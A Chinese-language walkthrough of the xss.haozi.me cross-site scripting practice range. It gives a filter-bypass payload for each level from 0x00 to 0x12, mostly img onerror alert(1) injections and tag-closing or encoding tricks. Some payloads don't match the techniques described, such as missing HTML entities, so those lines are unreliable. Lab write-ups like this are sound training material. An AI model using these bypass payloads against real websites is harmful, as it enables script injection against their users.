题目链接:https://xss.haozi.me
该靶场是部署在github上的一个项目,通关条件为弹出两个小人击掌的图片即为通关(单纯弹出弹窗是不属于通关的)
0x00
第一关没啥要点,xss入门基础
payload
<img src="x" onerror="alert(1)">
0x01
从server code和下面输出的html可以看出输入的内容被插入到<textarea></textarea>中,在输入的payload前面加上<textarea>对该标签进行闭合
payload
</textarea><img src="x" onerror="alert(1)">
0x02
这个原理和0x01差不多,输入的内容被插入到value中,加上">对该标签进行闭合
payload
"><img src="x" onerror="alert(1)">
0x03
通过server code可以看到该题把()给过滤了,这里可以通过 ` 反引号对输入的()进行替换
payload
<img src="x" onerror="alert`1`">
0x04
通过server code可以看到这道题不仅把()给过滤了,而且反引号也过滤,所以该题思路为将alert(1)中(1)替换为HTML实体
payload
<img src="x" onerror="alert(1)">
0x05
通过server code可以看到,该题将我们输入的内容利用<!-- -->进行闭合,我们可以利用这个在输入前--!>对其进行闭合
payload
--!><img src="x" onerror="alert(1)">
0x06
这道题是将我们输入的内容插入input的标签中,我们可以在其加入图片标签使其弹窗,要主要alert(1)要隔行,否则会使onerror被过滤
payload
type=image src="x" onerror
="alert(1)"
0x07
这道题是过滤了开头和结尾的/<\/?[^>]符号,我们可以通过在结尾少输入>来绕过该正则
payload
<img src="x" onerror="alert(1)"
0x08
通过server code可以看到这道题把<style>标签来进行过滤,可以在前面加个</style>再换行对其进行绕过
payload
</style
><img src="x" onerror="alert(1)">
0x09
这道题需要前面输入一个指定的URL,没有对输入有任何过滤
payload
https://www.segmentfault.com><img src="x" onerror="alert(1)">
0x0A
这道题刚开始毫无头绪,看了看大佬写的题解,得知这道题用了一个知识点@,就是但你在网址栏上输入www.baidu.com@www.bilibili.com时,会跳转到b站而不是跳转到百度,这一个利用作者在他的网站写的JS来解题,但是在测试了几大浏览器后,发现该题只有firefox能够成功弹出图片
payload
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B
该题是将我们输入的字符全部转化为大写,JS需要区分大小写,所以我们将该题输入内容转化为HTML实体字符
payload
<img src="x" onerror="alert(1)">
0x0C
该题是在上一题的基础上增加了<script>过滤,不过对我这种写法没有任何影响
payload
<img src="任意图片名" onerror="alert(1)">
0x0D
这道题是将输入内容带入到了注释中,可以用换行逃逸,把第一行空开,由于过滤了单引号'
,所以后面的')
可以用-->
注释掉
payload
alert(1);
-->
0x0E
这道题是匹配了所有<与字母的组合,将标签里的第一个字母前加上下划线_,并且在h1标签里,作者的想法是用阿拉伯字母ſ
替换s
的大写,该题我是用edge浏览器成功跳出弹窗
payload
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
这道题可以通过server code看出,他将我们输入的内容插入<img src οnerrοr="console.error('${escapeHtml(input)}')">中,我们可以将前面和后面的注释掉
payload
');
alert(1)
('
0x10
这道题也没啥好说的,没有任何过滤,直接输入alert(1)就可以了
payload
alert(1)
0x11
这道题和0x0F差不多,前后注释掉
payload
");alert(1);//
0x12
这道题通过server code可以看到由于"
被替换成了\\,所以要用\对其进行转义
payload
\");alert(1);//
总体来说该靶场还是属于比较简单的,适合新生入门xss